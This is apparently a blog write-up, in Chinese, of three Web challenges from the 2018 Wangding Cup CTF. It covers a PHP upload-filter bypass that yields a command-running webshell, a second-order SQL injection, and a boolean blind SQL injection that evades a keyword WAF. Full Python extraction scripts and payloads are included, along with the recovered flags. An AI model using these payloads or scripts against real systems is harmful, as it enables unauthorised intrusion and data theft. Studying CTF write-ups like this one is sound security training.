网鼎杯第二场Web

2018年网鼎杯第二场Web题解

wafUpload

源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
$sandbox = '/var/www/html/upload/' . md5("phpIsBest" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if (!empty($_FILES['file'])) {
#mime check
if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png', 'image/gif'])) {
die('This type is not allowed!');
}

#check filename
$file = empty($_POST['filename']) ? $_FILES['file']['name'] : $_POST['filename'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
if (!in_array($ext, ['jpg', 'png', 'gif'])) {
die('This file is not allowed!');
}

$filename = reset($file) . '.' . $file[count($file) - 1];
if (move_uploaded_file($_FILES['file']['tmp_name'], $sandbox . '/' . $filename)) {
echo 'Success!';
echo 'filepath:' . $sandbox . '/' . $filename;
} else {
echo 'Failed!';
}
}
show_source(__file__);
?>

一道有过滤的文件上传题,首先过滤的是文件的类型,修改上传类型为[‘image/jpeg’, ‘image/png’, ‘image/gif’]数组中任一一个元素即可,接下来将数组$file的最后一个元素取出判断是否是[‘jpg’, ‘png’, ‘gif’]中的任一元素,如果不是则退出程序,最终上传的文件名为”数组$file的第一个元素.$file[count($file) - 1]”,我们知道如果是一个完整的数组,那么$file[count($file) - 1]一定是数组的最后一个元素,而上面又将最后一个元素规定为jpg或png或gif,而我们的目的是上传一个php文件,那么后缀名一定是要.php,那么我们就可以上传一个不完整的数组,例如

1
2
3
4
5
6
7
8
9
<?php
$file = array();
$file[0] = 'demo.php';
$file[10] = 'jpg';
echo $file[count($file) - 1]; //NULL
echo '<br>';
$filename = reset($file) . '.' . $file[count($file) - 1];
echo $filename; //demo.php.
?>

这样就可以成功上传一个php文件,但是我们最终得到的文件名最后还有一个’.’,所以我们将$file[0]=demo.php/

这样最终得到demo.php/.

burp抓包修改

文件成功上传

访问url/upload/85ed06a27b8eb105c27cbc380822ede8/demo.php/.

抓包POST参数cmd任意执行命令

发现flag

读取

unfinished

首先来到的页面时login.php,没有其他提示,扫一下后台,发现register.php,

是一个注册页面,我们试着注册一个用户后登录,这里通过抓包发现注册成功后会返回302状态码重定向到login.php,否则返回200状态码回到register.php

我们可以发现,登录后又重定向到index.php,其中只有显示了用户名

有注册页面,有登录页面,很明显的存在sql查询,那么可以猜测注册页面的sql语句是

1
insert into tables values('$email','$username','$password')

如果执行成功,则注册成功,重定向到login.php,然后执行sql语句

1
insert into tables values('$email','$username','$password')

有查询结果则登录成功,返回查询结果的用户名信息

那么我们就可以推测这里存在二次注入,我们在register.php中的insert语句注入username,在index.php中显示注入的结果,这就是二次注入

接下来考虑insert注入

直接给出我的payload:

1
0'+ascii(substr((select database()) from 1 for 1))+'0

这样sql语句就变成了

1
insert into tables values('$email','0'+ascii(substr((select database()) from 1 for 1))+'0','$password')

本地数据库测试可行

那么接下来就是写脚本注入了

附上我的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import requests
import re

register_url = "http://7144aea59c434409842c039e28cd3bc31fcff0f7dcb04f5b.game.ichunqiu.com/register.php"
login_url = "http://7144aea59c434409842c039e28cd3bc31fcff0f7dcb04f5b.game.ichunqiu.com/login.php"
database = ""
table_name = ""
column_name = ""
flag = ""
#获取数据库名
for i in range(1,10):
register_data = {
'email':'test@test'+ str(i),
'username':"0'+ascii(substr((select database()) from %d for 1))+'0"%i,
'password':123
}
r = requests.post(url=register_url,data=register_data)
login_data = {
'email':'test@test'+ str(i),
'password':123
}
r = requests.post(url=login_url,data=login_data)
match = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r.text)
asc = match.group(1)
if asc == '0':
break
database = database + chr(int(asc))
print('database:',database)
#获取表名
'''
for i in range(1,20):
register_data = {
'email':'test@test'+ str(i),
'username':"0'+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from %d for 1))+'0"%i,
'password':123
}
r = requests.post(url=register_url,data=register_data)
print(r.text)
login_data = {
'email':'test@test'+ str(i),
'password':123
}
r = requests.post(url=login_url,data=login_data)
r.encoding = r.apparent_encoding
print(r.text)
match = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r.text)
asc = match.group(1)
if asc == '0':
break
table_name = table_name + chr(int(asc))
print('table_name:',table_name)
'''
#获取flag
for i in range(1,100):
register_data = {
'email':'test@test'+ str(i) + str(i),
'username':"0'+ascii(substr((select * from flag) from %d for 1))+'0"%i,
'password':123
}
r = requests.post(url=register_url,data=register_data)
login_data = {
'email':'test@test'+ str(i) + str(i),
'password':123
}
r = requests.post(url=login_url,data=login_data)
match = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r.text)
asc = match.group(1)
if asc == '0':
break
flag = flag + chr(int(asc))
print('flag:',flag)

这里实际测试获取表名,发现information被过滤了,flag表只能猜测得到

最后执行结果

sqlweb

题目首先给出了提示”admin拿不到flag”,题目是一个登陆页面,猜测存在sql注入

首先我们应该是要用admin来登录,先寻找注入点

抓包测试,服务器先检测输入的用户名是否存在,再检查密码是否正确

我们输入uname=admin&passwd=1&submit=login,提示password error

输入uname=admin’#&passwd=1&submit=login,提示password error

说明注入点可能在uname,被单引号包裹,那么我们可以根据提示password error 或者username error进行基于布尔的注入

输入uname=admin’ and 1=1#&passwd=1&submit=login,提示password error

提示waf:/sleep|benchmark|=|like|regexp|and||%|substr|union|\s+|group|floor|user|extractvalue|UpdateXml|ord|lpad|rpad|left|>|,|ascii/i !!! (trust me,no one can bypass it)

说明此处存在过滤关键字的waf,过滤了空格,用/**/替代,过滤了逗号,过滤了and,用&&替代,还过滤了等号,>,不等号也没办法用,这里可以用in语句来进行布尔注入的判断

过滤了substr,还有mid可以用,过滤了逗号,那么可以用mid( from 1 for 1)

那么我们可以构造payload

1
uname=admin'/**/&&/**/mid((select/**/database())/**/from/**/1/**/for/**/1)/**/in('t')#&passwd=1&submit=login

根据返回的username error或者password error判断,如果返回password error,说明判断语句正确,返回username error说明判断语句错误

这里发现响应头部字段存在提示

1
hint: <!--create table users ...id username passwd  -->

告诉了我们表的结构

猜测flag在passwd,那么我们就注出passwd列下的数据,payload如下

1
uname=admin'/**/&&/**/mid((select/**/passwd/**/from/**/users)/**/from/**/1/**/for/**/1)/**/in('t')#&passwd=1&submit=login

但是发现这里还过滤了user,那么就去掉users

1
uname=admin'/**/&&/**/mid(passwd/**/from/**/1/**/for/**/1)/**/in('t')#&passwd=1&submit=login

为什么可以这样呢,经过测试发现如果sql语句的前面已经指定了表和用户名,那么passwd直接返回的是该表下用户名对应的密码,如下图所示

接下来就是写个脚本注入了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = "http://8d1802ff177a4d569dafef8aac590cbde77f688da3624512.game.ichunqiu.com/sql.php"
all_string = "{}-1234567890qwertyuiopasdfghjklzxcvbnm"
passwd = ""
f = 0
for i in range(1,100):
for j in all_string:
data = {
'uname':"admin'/**/&&/**/mid(passwd/**/from/**/%d/**/for/**/1)/**/in('%s')#"%(i,j),
'passwd':'1',
'submit':'login'
}
r = requests.post(url,data=data)
if len(r.text) == 75:
passwd = passwd + j
break
elif len(r.text) == 77 and j == 'm':
f = 1
break
if f == 1:
break
print('passwd:',passwd)

运行结果passwd: admin123

登录admin用户,提示只有wuyanzu用户才能拿到flag

那么我们再爆wuyanzu的密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = "http://8d1802ff177a4d569dafef8aac590cbde77f688da3624512.game.ichunqiu.com/sql.php"
all_string = "{}-1234567890qwertyuiopasdfghjklzxcvbnm"
passwd = ""
f = 0
for i in range(1,100):
for j in all_string:
data = {
'uname':"wuyanzu'/**/&&/**/mid(passwd/**/from/**/%d/**/for/**/1)/**/in('%s')#"%(i,j),
'passwd':'1',
'submit':'login'
}
r = requests.post(url,data=data)
if len(r.text) == 75:
passwd = passwd + j
break
elif len(r.text) == 77 and j == 'm':
f = 1
break
if f == 1:
break
print('passwd:',passwd)

执行结果passwd: flag{de822b90-2edf-404c-aaeb-8e797768d9ea}

拿到flag

文章作者: Somnus
文章链接: https://nikoeurus.github.io/2018/08/22/%E7%BD%91%E9%BC%8E%E6%9D%AF%E7%AC%AC%E4%BA%8C%E5%9C%BAWeb/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Somnus's blog